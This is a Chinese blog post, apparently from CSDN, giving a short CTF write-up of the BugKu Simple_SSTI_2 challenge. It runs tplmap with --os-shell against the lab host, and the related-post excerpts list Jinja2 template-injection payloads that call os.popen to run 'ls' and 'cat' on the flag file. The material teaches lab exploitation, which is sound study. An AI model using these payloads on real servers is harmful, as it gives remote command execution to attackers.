新BugKu-web篇-Simple_SSTI_2

最新推荐文章于 2024-07-27 23:24:44 发布
最新推荐文章于 2024-07-27 23:24:44 发布
阅读量880 收藏 1
点赞数
分类专栏： 新BugKu 文章标签： SSTI漏洞 tplmap Python2 shell获取 基础工具
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jiuyongpinyin/article/details/117356978
版权

新BugKu-web篇-Simple_SSTI_2

这道题就比上一道题相对简单了，因为可以直接使用工具tplmap
下载链接：

https://github.com/aStrowxyu/ssti-tools

不过需要Python2的环境
使用工具获得shell

python2 tplmap.py -u "http://114.67.246.176:12782?flag=1" --os-shell

flag就在目录下
在这里插入图片描述

拼音怪兽
关注
专栏目录
BugKu CTF之 Simple_SSTI_2
weixin_42557264的博客
09-16 1932
进入场景 和Simple_SSTI_1一样 提示需要传一个flag参数 F12也没有任何其他提示 ls一下看看内部文件 /?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} 发现存在一些文件夹，进入查看，先看看第一个，运气很好，第一个app文件夹里就有flag 因为没有过滤直接cat …/app/flag ?flag={{%20config.__clas.
BUGKU-simple_SSTI_1漏洞注入
kingx3的博客
10-08 323
SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。
Bugku CTF——WEB之SSTI学习笔记
qq_51096893的博客
12-19 4724
目录 知识前提 一.题目 二 .理解和学习 三.总结 我们在作为新手去开始进行这些题目的联系的时候只知道一些操作，而不知道原理，这里为新手简单介绍一些SSTI的概念和操作。 知识前提 我们通过实例去一起学习。学习这个之前，我们要知道以下几点： （1）什么是CTF（Capture The Flag） （2）CTF题目类型（我们今天讲解的是WEB类型中注入问题）： 1.MISC(Miscellaneous)类型，即安全杂项，题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。 2.P.
bugku-web-Simple_SSTI_2
最新发布
m0_52484587的博客
07-27 957
模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可生成特定格式的文档，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，然后只需要获取用户的数据，然后放到渲染函数里，然后生成模板+用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前。其影响范围主要取决于模版引擎的复杂性。此外，也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
Bugku：Simple_SSTI_2
weixin_52599204的博客
08-05 433
然后发现里面直接显示了 那么接下来就是找系统命令执行语句的语法。由于题目提示是模板注入，于是直接上payload。说实话原来也没怎么了解过这个框架 于是找了找命令。首先打开环境 提示需要传一个flag参数。这里引用大佬的博客 感兴趣的可以去看看。找到圈起来这条 把里面的。...
Bugku Simple_SSTI_2
qq_52718293的博客
10-23 2593
首先打开之后是上面这样，题目有提示是ssti，所以
Bugku web Simple_SSTI_2 wp
Whaocai的博客
08-05 650
考点： ①SSTI注入 最近学了学python ssti注入，找一道题练习练习。 进去之后，提示我们有个flag参数，同时再用御剑扫一下发现没有别的页面。 结合题目，直接payload：?flag={{1+1}},用的是flask模板 jinja2引擎 常见的ssti构造payload思路是： 这道题比较简单，什么敏感关键词都没有过滤 ...
BugkuWeb：Simple_SSTI_2
Light_inthe_eyes的博客
11-04 261
题目提示就很明显了是模板注入 flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }} flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read
Bugku-WEB-writeup（持续学习中~）
devil_sad的博客
11-12 3358
滑稽 打开题目发现一堆笑脸怼脸 按F12直接查看网页源代码即可获得flag 计算器 打开之后发现需要计算并输入验证码，可只能输入一位数字 我们可以右键单击输入框审查元素把maxlength改成3，使得我们能在验证框输入三位数 输入验证码即可得到flag 或者我们也可以直接点击上文中红框中的"js/code.js"也可以直接查看flag POST 通过阅读代码得知$what=='flag'即可得到flag 可是我们直接在URL后输入无法得到flag，于是...
[bugku]Simple_SSTI_2
ZhShy
03-10 3448
进入页面之后F12没发现什么有用的东西。 照例看看config： http://114.67.175.224:12482/?flag={{config}} 没有flag 试一试 http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} __class__：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。 __i
BUGKU-WEB Simple_SSTI_2
天泽岁月
02-06 600
BUGKU-WEB Simple_SSTI_2
XCTF shrine wp
Lakers248_的博客
05-12 279
XCTF shrine wp
十九、bugku Simple_SSTI_2
山兔的博客
09-06 448
/?flag={{ config.__class__.__init__.__globals__['os'] .popen('ls ../').read() }} ?flag={{ config.__class__.__init__.__globals__['os'] .popen('cat ../app/flag').read() }} __class__:返回对象所属类 __init__:类的初始方法,用以初始化实例.实际上魔术方法 __new__与__init__共同作为"构造函数",__new_
【愚公系列】2023年06月 Bugku-Web（Simple_SSTI_2）
时光隧道
06-22 6101
Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了，易于扩展和维护。Flask提供了基本的Web开发所需的组件，如路由、请求和响应处理、会话管理、模板渲染等，同时还支持各种第三方扩展和插件，可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎，被许多Web开发者用于构建Web应用和API。Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了，易于扩展和维护。
# BUGKU Simple_SSTI_1-2
zbbjya的博客
03-17 751
##BUGKU Simple_SSTI_1 查看网页源代码 提示需要传一个flag参数，Flask 是一个微型的 Python 开发的 Web 框架， 由上可知flag在secret_key下，config是flask模板中的一个全局对象而使用 /?flag={{config.items()}} 读取配置文件可得到，其数据，flag也在里面 /?flag={{config.SECRET_KEY}} 可直接得到flag Simple_SSTI_2 同样提示需要传一个flag参数 查看网
Bugku CTF Web Simple_SSTI_1 & Simple_SSTI_2
网安小趴菜
09-05 432
Bugku CTF Web Simple_SSTI_1 & Simple_SSTI_2
Bugku WEB Simple_SSTI_2
lin的博客
04-12 1561
1. 打开后，题目提示存在模板注入 2. 先进行ls查看一下存在的文件。 /?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} 根据URL转换表，%20 -> 空格 %27 -> ', 上面的URL对应字符串为： /?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read(
BugKu_web Simple_SSTI
weixin_47443077的博客
07-19 289
BugKu_web Simple_SSTI Simple_SSTI_1 打开页面如图示，根据提示要找到一个flag的参数 先尝试构造payload，发现页面有所变化 再用F12大法瞅瞅，发现有一行提示，在flask中经常设置一个secret_key变量 查询后知道secret_key格式是config.SECRET_KEY，拿到flag！ Simple_SSTI_2 打开页面和1一样，说明是模板注入，而且构造的payload也被执行了 上传错误语句发现是python3.7的flask模板注入 在
bugku simple_ssti_1
03-16
simple_ssti_1 是一道来自 Bugku 的简单 Server-Side Template Injection（SSTI）漏洞题目。 SSTI 漏洞通常发生在使用模板引擎时，攻击者可以利用这种漏洞执行任意代码。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值